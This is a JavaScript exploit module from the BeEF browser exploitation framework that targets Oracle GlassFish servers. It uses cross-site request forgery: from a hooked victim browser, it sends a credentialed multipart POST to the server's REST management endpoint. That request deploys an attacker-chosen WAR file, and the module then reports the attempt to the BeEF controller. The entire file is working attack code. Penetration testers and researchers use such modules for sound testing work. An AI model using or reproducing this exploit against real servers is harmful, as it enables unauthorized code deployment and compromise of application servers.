Path: blob/master/modules/exploits/glassfish_war_upload_xsrf/command.js
1873 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567// This exploit is based on the PoC by Roberto Suggi Liverani - Security-Assessment.com8// For more info, refer to: http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html91011beef.execute(function() {12var restHost = '<%= @restHost %>';13var warName = '<%= @warName %>';14var warBase = '<%= @warBase %>';1516var logUrl = restHost + '/management/domain/applications/application';171819if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {20XMLHttpRequest.prototype.sendAsBinary = function(datastr) {21function byteValue(x) {22return x.charCodeAt(0) & 0xff;23}24var ords = Array.prototype.map.call(datastr, byteValue);25var ui8a = new Uint8Array(ords);26this.send(ui8a.buffer);27}28}2930function fileUpload(fileData, fileName) {31boundary = "HELLOWORLD270883142628617",32uri = logUrl,33xhr = new XMLHttpRequest();3435var additionalFields = {36asyncreplication: "true",37availabilityenabled: "false",38contextroot: "",39createtables: "true",40dbvendorname: "",41deploymentplan: "",42description: "",43dropandcreatetables: "true",44enabled: "true",45force: "false",46generatermistubs: "false",47isredeploy: "false",48keepfailedstubs: "false",49keepreposdir: "false",50keepstate: "true",51lbenabled: "true",52libraries: "",53logReportedErrors: "true",54name: "",55precompilejsp: "false",56properties: "",57property: "",58retrieve: "",59target: "",60type: "",61uniquetablenames: "true",62verify: "false",63virtualservers: "",64__remove_empty_entries__: "true"65}666768var fileFieldName = "id";69xhr.open("POST", uri, true);70xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request.71xhr.withCredentials = "true";72xhr.onreadystatechange = function() {73if (xhr.readyState == 4) {74beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Attempt to deploy \"' + warName + '\" completed.');75}76}7778var body = "";7980for (var i in additionalFields) {81if (additionalFields.hasOwnProperty(i)) {82body += addField(i, additionalFields[i], boundary);83}84}8586body += addFileField(fileFieldName, fileData, fileName, boundary);87body += "--" + boundary + "--";88xhr.setRequestHeader('Content-length', body.length);89xhr.sendAsBinary(body);90return true;91}9293function addField(name, value, boundary) {94var c = "--" + boundary + "\r\n"95c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n';96c += value + "\r\n";97return c;98}99100function addFileField(name, value, filename, boundary) {101var c = "--" + boundary + "\r\n"102c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n';103c += "Content-Type: application/octet-stream\r\n\r\n";104105c += atob(value);106107c += "\r\n";108return c;109}110111112function start() {113fileUpload(warBase,warName);114}115116start();117118});119120121122